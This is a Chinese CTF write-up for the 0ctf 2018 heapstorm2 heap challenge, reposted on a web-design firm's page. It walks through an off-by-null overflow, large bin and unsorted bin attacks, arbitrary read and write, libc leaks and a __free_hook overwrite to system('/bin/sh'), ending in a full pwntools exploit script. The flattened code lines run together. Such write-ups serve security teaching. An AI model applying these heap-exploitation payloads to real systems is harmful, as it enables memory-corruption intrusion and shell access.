芜湖市网站建设_网站建设公司_H5网站_seo优化
2025/12/17 21:10:14 网站建设 项目流程

在这里插入图片描述
在这里插入图片描述
分配chunk
在这里插入图片描述
编辑函数
这里strcpy off-by-null,读满会把 '\x00' 复制过去 off-by-null
在这里插入图片描述
删除 没有UAF
在这里插入图片描述
打印信息
它会对存储在0x13370810的数据进行异或,0x13370818先继续显示结果是否0x13377331。但问题是这两个值被初始化成了相同的随机值。除非能打破二进制中的这个检查,否则我们无法轻易读取目标的值。
因此,该挑战的主要目标是覆盖0x13370810和0x13370818处的值。

//code 1
if (size == nb)
{set_inuse_bit_at_offset (victim, size);if (av != &main_arena)set_non_main_arena (victim);check_malloced_chunk (av, victim, nb);void *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;
}//code 2
else
{victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

这两段代码都嵌入在从未排序的bin中获取可用分块的过程中。
代码1负责将检索到的分块返回应用程序,前提是分块大小等于请求的大小。
代码2负责插入检索到的块信息对应的大bin。它与未排序分包攻击非常相似,后者会用不可控地址覆盖目标地址。
这个漏洞的全部目的就是通过创建重叠的区块,在0x133707c0创建一个带有代码2的假区块。
然后用重叠的块破坏未排序箱中一个块的 bk,0x133707c0并尝试分配一个大小为 0x48 的块,从而获得分配到0x133707d0的块。
由于大小限制,无法破坏存储指针和大小的数据区,我们重复上述步骤,获得分配的块0x133707d8。
然后我们可以覆盖任何地方的任何东西

一开始的错误写法

写出自动化脚本

在这里插入代码片from pwn import *
p = process('./0ctf_2018_heapstorm2')
elf = ELF('./0ctf_2018_heapstorm2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def debug():gdb.attach(p)pause()def add(size):p.sendlineafter(b'Command: ',b'1')p.sendlineafter(b'Size: ',str(size).encode())def edit(index, content):p.sendlineafter(b'Command: ',b'2')p.sendlineafter(b'Index: ',str(index).encode())p.sendlineafter(b'Size: ',str(len(content)).encode())p.sendafter(b'Content: ',content)def delete(index):p.sendlineafter(b'Command: ',b'3')p.sendlineafter(b'Index: ',str(index).encode())def view(index):p.sendlineafter(b'Command: ',b'4')p.sendlineafter(b'Index: ',str(index).encode())

先分配chunk

add(0x400) #0  # size=0x411 (small/large边界)
add(0x20)  #1  # size=0x31
add(0x400) #2  # size=0x411  
add(0x28)  #3  # size=0x31 (有off-by-null漏洞)
add(0xfe0) #4  # size=0xff1 (large chunk)
add(0x40)  #5  # size=0x51 (防止合并)

因为我们edit的时候有off-by-null漏洞,会影响到下一个chunk的size,我们可以先从chunk4里面伪造chunk,使得伪造的chunk的下一个chunk的prev_size是我们的伪造的chunk,但是因为edit会自动追加0x10字节的HEAPSTORM_II,所以我们可以再伪造一个chunk来存放这个值。
所以我们第一步应该是
在chunk4内部布置伪造的metadata,伪造一个size=0xf00的chunk,一个0x21的chunk,为了后续off-by-null修改size后,堆管理器检查时能看到合法的metadata

edit(4,b'a'*0xef0 + p64(0xf00) + p64(0x21) + p64(0)*2 + p64(0) + p64(0x21))

在这里插入图片描述
然后delete(4),释放到unsortedbin
在这里插入图片描述
在这里插入图片描述

0x00005555557588c0 topchunk
0x0000555555757880 unsortedbin

然后利用off-by-null,将null终止符溢出到chunk4的size字段

edit(3, b'a'*(0x28-12));

溢出前:
在这里插入图片描述
溢出后:
在这里插入图片描述
这时候我们就伪造出来了一个0xf00的chunk和prev_size为0xf00的0x21的chunk

add(0x140) #1  这个大小这个范围内应该都可以

再进行largebin攻击
分配2个0x410chunk

add(0x20) #6  分隔
add(0x400)#7
add(0x20) #8  分隔
add(0x400)#9
add(0x20) #10  分隔

free掉

delete(4)
delete(7)
delete(9)

在这里插入图片描述

0x555555757e40 #chunk9
0x555555757a00 #chunk7
0x555555757880 #chunk4_new
0x555555758280 #合并的chunk
0x7ffff7dd1b78 (main_arena+88)
delete(5)

清理内存,使其成为allocate(0x500)的最佳选择,准备进行largebinattack
在这里插入图片描述
在这里插入图片描述

unsorted_bin -> 0x411 -> 0x411 -> 0x501

chunk4_new被扩容了,现在是一个巨大的free chunk
现在为largebin攻击申请回chunk5

add(0x420) #4
add(0x500) #5

Large Bin Attack阶段
第一步:修改large bin chunk的metadata

edit(5,b'b'*0x170 + p64(0) + p64(0x401) + p64(0x133707b3)*4)
通过chunk5写入:
┌─────────────────────────────────────────────────────────────┐
│ chunk5内存内容(update 0x1a0字节):                          │
├─────────────────────────────────────────────────────────────┤
│ "b"*0x170                                                   │
│ prev_size: 0x0                                              │
│ size: 0x401                                                 │
│ fd: 0x133707b3        ← 指向目标地址                        │
│ bk: 0x133707b3                                              │
│ fd_nextsize: 0x133707b3                                     │
│ bk_nextsize: 0x133707b3     ← 关键!large bin attack目标     │
└─────────────────────────────────────────────────────────────┘

在这里插入图片描述
在这里插入图片描述
第二步:触发第一次large bin attack

delete(0)
add(0x30) #0
┌─────────────────────────────────────────────────────────────┐
│ 操作流程:                                                   │
├─────────────────────────────────────────────────────────────┤
│ 1. delete(0): chunk0释放到unsorted bin                      │
│    ┌────────────┐    ┌────────────┐    ┌────────────┐      │
│    │ unsorted   │────▶│   chunk0   │────▶│   chunk7   │ ... │
│    │ bin链表    │    │  size=0x411 │    │  size=0x411 │     │
│    └────────────┘    └────────────┘    └────────────┘     │
│                                                           │
│ 2. allocate(0x30): 触发整理                                │
│    - chunk0从unsorted bin取出                             │
│    - 放入large bin(大小0x411)                           │
│    - 执行large bin插入操作                                │
│                                                           │
│ 3. large bin attack发生:                                 │
│    victim->bk_nextsize->fd_nextsize = victim              │
│    ↓                                                     │
│    向 0x133707b3 + 0x20 写入 chunk0的地址!               │
└─────────────────────────────────────────────────────────────┘

在这里插入图片描述
在这里插入图片描述
第二次large bin attack

edit(5,b'a'*0x170 + p64(0) + p64(0x401) + p64(0x133707c8)*4)
delete(2)
add(0x30) #2

在这里插入图片描述
在这里插入图片描述
清理unsorted bin,为后续攻击准备干净环境

add(0x40)

在这里插入图片描述
现在准备使用伪造unsorted bin chunk攻击
第一步:在chunk5中构造fake chunk

edit(5,b'c'*0x140 + p64(0) + p64(0x101) + b'd'*0xf0 + p64(0) + p64(0x21) + p64(0) *3 + p64(0x21))
┌─────────────────────────────────────────────────────────────┐
│ chunk5内存(update 0x270字节):                            │
├─────────────────────────────────────────────────────────────┤
│ "c"*0x140                                                   │
│ fake_chunk1:                                               │
│   prev_size: 0x0                                           │
│   size: 0x101         ← 准备放入unsorted bin的大小         │
│   用户数据: "d"*0xf0                                      │
│                                                           │
│ fake_chunk2:                                               │
│   prev_size: 0x0                                           │
│   size: 0x21                                              │
│   fd: 0x0                                                 │
│   bk: 0x0                                                 │
│   ...其他字段                                              │
└─────────────────────────────────────────────────────────────┘

在这里插入图片描述
在这里插入图片描述
第二步:触发unsorted bin attack

delete(6)
edit(5,b'e'*0x140 + p64(0) + p64(0x101) + p64(0x133707b3)*2)
add(0x40)
1. delete(6): 释放chunk6到unsorted bin┌────────────┐│ unsorted   │──┐│ bin链表    │  │└────────────┘  │▼┌────────────┐│   chunk6   ││  size=0x31 │└────────────┘2. update(5, 0x160): 修改fake chunk的bk指针fake_chunk1.bk = 0x133707c0  ← 关键!指向目标地址3. allocate(0x40): 触发分配glibc遍历unsorted bin:最后一个chunk → 倒数第二个chunk → ... → chunk6当到达"最后一个chunk"时,发现它的bk指向0x133707c0于是认为0x133707c0是一个chunk,从那里分配!4. 结果:在0x133707d0分配了chunk6!

但是这个时候
在这里插入图片描述
检查到之前的布局出现了问题

gdb-peda$ x/30gx 0x555555757880 + 0x140
0x5555557579c0:        0x6363636363636363        0x6363636363636363
0x5555557579d0:        0x0000000000000000        0x0000000000000101
0x5555557579e0:        0x6464646464646464        0x6464646464646464
0x5555557579f0:        0x6464646464646464        0x6464646464646464
gdb-peda$ x/30gx 0x555555757880 + 0x140 + 0xf0
0x555555757ab0:        0x6464646464646464        0x6464646464646464
0x555555757ac0:        0x6464646464646464        0x6464646464646464
0x555555757ad0:        0x0000000000000000        0x0000000000000021
0x555555757ae0:        0x0000000000000000        0x0000000000000000
0x555555757af0:        0x0000000000000000        0x0000000000000021
0x555555757b00:        0x524f545350414548        0x0000000049495f4d
0x555555757b10:        0x0000000000000000        0x0000000000000000
0x555555757b20:        0x0000000000000000        0x0000000000000000
0x5555557579d0: 0x0000000000000000    prev_size=0
0x5555557579d8: 0x0000000000000101    size=0x101 ✓
0x5555557579e0: 0x6464646464646464    fd指针 = 'dddddddd' ❌
0x5555557579e8: 0x6464646464646464    bk指针 = 'dddddddd' ❌

正确的payload结构

偏移0x000-0x13F: 'c'*0x140 (填充)
偏移0x140: prev_size=0
偏移0x148: size=0x101
偏移0x150: fd=0x133707c0    ← 这里!
偏移0x158: bk=0x133707c0    ← 这里!
偏移0x160开始: 其他数据...
# 正确的构造
payload = (b'c'*0x140 +                    # 填充到fake chunk开始p64(0) + p64(0x101) +           # fake chunk headerp64(0x133707c0) + p64(0x133707c0) +  # fd和bk指针!b'd'*(0xf0 - 0x10) +            # 用户数据(减去fd/bk的16字节)p64(0) + p64(0x21) +            # 下一个fake chunk headerp64(0)*3 + p64(0x21)            # 其他字段
)# 确保总长度正确
edit(5, payload)
gdb-peda$ x/30gx 0x555555757880 + 0x140
0x5555557579c0:        0x6363636363636363        0x6363636363636363
0x5555557579d0:        0x0000000000000000        0x0000000000000101
0x5555557579e0:        0x00000000133707c0        0x00000000133707c0
0x5555557579f0:        0x6464646464646464        0x6464646464646464
0x555555757a00:        0x6464646464646464        0x6464646464646464
0x555555757a10:        0x6464646464646464        0x6464646464646464
0x555555757a20:        0x6464646464646464        0x6464646464646464
0x555555757a30:        0x6464646464646464        0x6464646464646464
0x555555757a40:        0x6464646464646464        0x6464646464646464
0x555555757a50:        0x6464646464646464        0x6464646464646464
0x555555757a60:        0x6464646464646464        0x6464646464646464
0x555555757a70:        0x6464646464646464        0x6464646464646464
0x555555757a80:        0x6464646464646464        0x6464646464646464
0x555555757a90:        0x6464646464646464        0x6464646464646464
0x555555757aa0:        0x6464646464646464        0x6464646464646464
gdb-peda$ x/30gx 0x555555757880 + 0x140 + 0xf0 -0x10
0x555555757aa0:        0x6464646464646464        0x6464646464646464
0x555555757ab0:        0x6464646464646464        0x6464646464646464
0x555555757ac0:        0x6464646464646464        0x6464646464646464
0x555555757ad0:        0x0000000000000000        0x0000000000000021
0x555555757ae0:        0x0000000000000000        0x0000000000000000
0x555555757af0:        0x0000000000000000        0x0000000000000021
0x555555757b00:        0x524f545350414548        0x0000000049495f4d

但是依然有问题,所以要换方法

远程成功版本

结合 largebin攻击 off-by-null chunk-extend unsortedbin攻击
在这里插入图片描述
首先进行堆布局,为over-lapping做准备

add(0x18)  #0
add(0x508) #1   # large chunk
add(0x18)  #2
add(0x18)  #3
add(0x508) #4  # large chunk
add(0x18)  #5
add(0x18)  #6

在这里插入图片描述
分配成功
现在修改largebin的metadata,为overlapping做准备

edit(1,b'a'*0x4f0 + p64(0x500))
edit(4,b'b'*0x4f0 + p64(0x500))

在这里插入图片描述
在这里插入图片描述
现在借助strcpy会将null溢出到下一个字节来修改511->500

delete(1) #1
edit(0,b'a'*(0x18-12))

使chunk7与原始的chunk1区域重叠。
在这里插入图片描述
进一步控制over-lapping区域

删除和重新分配操作:
1. delete(1), delete(2) - 释放两个chunk
2. alloc(0x38) #1, overlap to chunk 7
3. alloc(0x4e8) #2 - 更大的chunk这使得chunk1可以控制更多的内存区域

在这里插入图片描述
这时候你可能发现之前分配的chunk7没有了
这个chunk7是在

delete(2)

的时候没有的
在这里插入图片描述
然后同样的步骤对另一个largechunk进行操作

delete(4)  #4
edit(3,b'b'*(0x18-12))add(0x18)  #4
add(0x4d8) #8delete(4)
delete(5)add(0x48)  #4
add(0x4e8) #6

至此over-lappling阶段结束
在这里插入图片描述

base = 0x13370000
read(..., 0x13370800, 0x18) 的目标地址是 0x13370800
0x13370800 - 0x13370000 = 0x800

程序把全局管理结构/表放在 mmap 的那页里偏移 0x800 的位置,并且后续一直用绝对地址 0x13370800 操作它。

结合 sub_BB0/sub_BCC:sub_BB0(ptr, x) = *(ptr+0) XOR xsub_BCC(ptr, x) = *(ptr+8) XOR x
所以当 x=0 时:sub_BB0(heaparray,0) = key0(heaparray[0])sub_BCC(heaparray,0) = key1(heaparray[1])

这意味着:每个条目初始都存了某个 key 值,表示“未使用”。

View(sub_11B5)——权限检查(你的绕过目标)

if ((heaparray[0x10] XOR heaparray[0x18]) != 0x13377331) deny;

也就是:

  • 需要让 heaparray+0x10 和 heaparray+0x18 的 xor 等于 0x13377331 才能 view。
    exp 最终会把 heaparray 里的关键字段改成:
  • heaparray[0x10] = 0x13377331
  • heaparray[0x18] = 0 或类似组合(总之 xor 结果等于 0x13377331),来获得 View 权限。

伪造 chunk + 控制 heaparray

heaparray = 0x13370000 + 0x800
fake_chunk = heaparray - 0x20
delete(2)

为后面利用glibc堆管理器合法我们的伪chunk做准备

payload1 = b'g' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7,payload1)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x13370800: 0x272d6abe1dc9772b  0xe9552fddd1062d58   <-- key0, key1(随机)
0x13370810: 0xb748208927a175e6  0xb748208927a175e6   <-- 0x10 和 0x18 复制相等(初始)
0x13370820: entry0.enc_ptr      entry0.enc_size
0x13370830: entry1.enc_ptr      entry1.enc_size
  • 0x13370810 与 0x13370818 相等,是因为初始化做了:
    MEMORY[0x13370818] = MEMORY[0x13370810]
    后面利用阶段会把这里改成满足:
  • (0x13370810 XOR 0x13370818) == 0x13377331
payload2 = b'f' * 0x10 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk -0x18 -5)
edit(8,payload2)

fake_chunk + 8 = 0x133707e8
在这里插入图片描述
这是 heaparray - 0x18
如果 glibc 走到写 bck->fd = victim(写 fd 字段,偏移 0x10),那么写入地址为:

  • bck + 0x10 = (heaparray - 0x18) + 0x10 = heaparray - 0x8
    也就是会改写:
  • *(0x13370800 - 0x8) = victim
  • 0x133707f8 正好在你看到的“全 0 区域”
    fake_chunk - 0x18 - 5 = 0x133707c3
    如果 glibc 将来执行写 X->bk = victim(偏移 0x18),写入地址是:
  • X + 0x18
    如果你让 X = (你想写入的真实目标地址) - 0x18,就能让写入落到目标。
    你这里是:
  • X = fake_chunk - 0x18 - 5
  • 那么 X + 0x18 = fake_chunk - 5
    也就是说:如果命中 X->bk = victim 这种写,那么写入会落到:
  • fake_chunk - 5 = 0x133707db
    注意这是一个非 8 字节对齐的地址(因为 -5)
    因为在 largebin attack 里,你控制的不是“写什么”(写的是 victim 指针),你控制的是“写到哪里”。
    这两个地址是为了让 glibc 的链表维护语句把指针写到heaparray 附近你能利用的位置;那片内存现在是 0,恰恰说明它是干净的“承接写入区”,不会被旧值干扰,也不容易立即崩。

选这些地址的目的,是为了让 largebin 插入/维护链表时产生的“指针写”落到 heaparray 头部附近,从而改掉校验相关的那两个 qword(你叫 key1/key2 的那对,实际是 0x13370810 和 0x13370818),最终通过 view 的验证

add(0x48) #2

准备一个“可控数据块”当作后续伪结构容器

payload3= p64(0)*5 + p64(0x13377331) + p64(heaparray)
edit(2,payload3)

把“权限 + 指针锚点”写进 chunk2

payload4 = p64(0)*3 + p64(0x13377331) + p64(heaparray)
payload4 += p64(0x1000) + p64(heaparray - 0x20 + 3) + p64(8)
edit(0, payload4)

序号 值 十六进制 直观含义(利用语义)
Q0 0 0x0 填充/占位(保持某些字段为 0,避免破坏)
Q1 0 0x0 填充/占位
Q2 0 0x0 填充/占位
Q3 0x13377331 0x13377331 View 权限校验关键常量
Q4 heaparray 0x13370800 把 heaparray 作为“基址/锚点”放进结构
Q5 0x1000 0x1000 长度/上界(常用来伪造 size/limit)
Q6 heaparray-0x20+3 0x133707e3 你要读的目标地址(带 +3 的错位)
Q7 8 0x8 要读出的字节数(8 字节)

0x1000 正好是 mmap 那页的大小
所以它常被用作:

  • “你这个缓冲区长度/最大范围”

  • “允许你读写整个 heaparray 页面(从 0x13370000 到 0x13371000)的上界”

  • heaparray = 0x13370800

  • heaparray - 0x20 = 0x133707e0(定义的 fake_chunk)

  • +3 => 0x133707e3

view(1)
p.recvuntil(b']: ')
chunk = u64(p.recv(8))
log.success('chunk -> {}'.format(hex(chunk)))

这样就可以泄露出heap指针chunk

同样的方法来把任意读地址改成 chunk+0x10,泄漏 libc

view(1)
p.recvuntil(b']: ')
libc_base = u64(p.recv(8)) - 0x68 - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success('libc_base -> {}'.format(hex(libc_base))) 

最后把“任意写”落到 __free_hook,并在内存里放 /bin/sh

payload = p64(0) * 4 + p64(heaparray) + p64(0x1000) + p64(free_hook) + p64(8 + 12)
payload += p64(heaparray + 0x48) + b'/bin/sh\x00'
edit(0, payload)
edit(1, p64(system))delete(2)p.interactive()

delete 会取出 entry[2] 的 ptr_real 作为参数调用 free(ptr)。
如果你把 __free_hook 改成 system,那么 free(ptr) 实际会变成:

  • system(ptr)
    所以 ptr 必须指向一个 C 字符串:"/bin/sh\x00"。

delete(2) 逻辑是:

  1. ptr = decrypt(entry[2].enc_ptr)
  2. free(ptr)
  3. entry[2] 清空回 key(enc_ptr=key0, enc_size=key1)

因为已经:

  • __free_hook = system
    所以这里变成:
  • system(ptr)
    在前面安排 ptr == heaparray+0x48,且那里是 "/bin/sh\x00"。
    于是拿 shell。

!!!!一定要用libc-2.23.buu.so!!!!
在这里插入图片描述

from pwn import *
p = process('./0ctf_2018_heapstorm2')
#p = remote('node5.buuoj.cn',25543)
elf = ELF('./0ctf_2018_heapstorm2')
#libc = ELF('libc-2.23.buu.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def debug():gdb.attach(p)pause()def add(size):p.sendlineafter(b'Command: ',b'1')p.sendlineafter(b'Size: ',str(size).encode())def edit(index, content):p.sendlineafter(b'Command: ',b'2')p.sendlineafter(b'Index: ',str(index).encode())p.sendlineafter(b'Size: ',str(len(content)).encode())p.sendlineafter(b'Content: ',content)def delete(index):p.sendlineafter(b'Command: ',b'3')p.sendlineafter(b'Index: ',str(index).encode())def view(index):p.sendlineafter(b'Command: ',b'4')p.sendlineafter(b'Index: ',str(index).encode())add(0x18)  #0
add(0x508) #1
add(0x18)  #2
add(0x18)  #3
add(0x508) #4
add(0x18)  #5
add(0x18)  #6edit(1,b'a'*0x4f0 + p64(0x500))
edit(4,b'b'*0x4f0 + p64(0x500))delete(1) #1
edit(0,b'a'*(0x18-12))add(0x18)  #1
add(0x4d8) #7
#debug()delete(1)
#debug()
delete(2)
#debug()add(0x38)  #1
add(0x4e8) #2delete(4)  #4
edit(3,b'b'*(0x18-12))add(0x18)  #4
add(0x4d8) #8delete(4)
delete(5)add(0x48)  #4
delete(2)
add(0x4e8) #6
delete(2)#add(0x600)#debug()
heaparray = 0x13370000 + 0x800
fake_chunk = heaparray - 0x20payload1 = b'g' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7,payload1)
#debug()payload2 = b'f' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk -0x18 -5)
edit(8,payload2)
#debug()
add(0x48)#2
payload3 = p64(0)*5 + p64(0x13377331) + p64(heaparray)
#debug()
edit(2,payload3)
#debug()
payload4 = p64(0)*3 + p64(0x13377331) + p64(heaparray)
payload4 += p64(0x1000) + p64(heaparray - 0x20 + 3) + p64(8)
edit(0, payload4)view(1)
p.recvuntil(b']: ')
chunk = u64(p.recv(8))
log.success('chunk -> {}'.format(hex(chunk)))chunk_fd = chunk + 0x10payload5 = p64(0)*3 + p64(0x13377331) + p64(heaparray)
payload5 += p64(0x1000) + p64(chunk_fd) + p64(8)
edit(0,payload5)view(1)
p.recvuntil(b']: ')
libc_base = u64(p.recv(8)) - 0x68 - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success('libc_base -> {}'.format(hex(libc_base))) payload = p64(0) * 4 + p64(heaparray) + p64(0x1000) + p64(free_hook) + p64(8 + 12)
payload += p64(heaparray + 0x48) + b'/bin/sh\x00'
edit(0, payload)
edit(1, p64(system))delete(2)p.interactive()

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询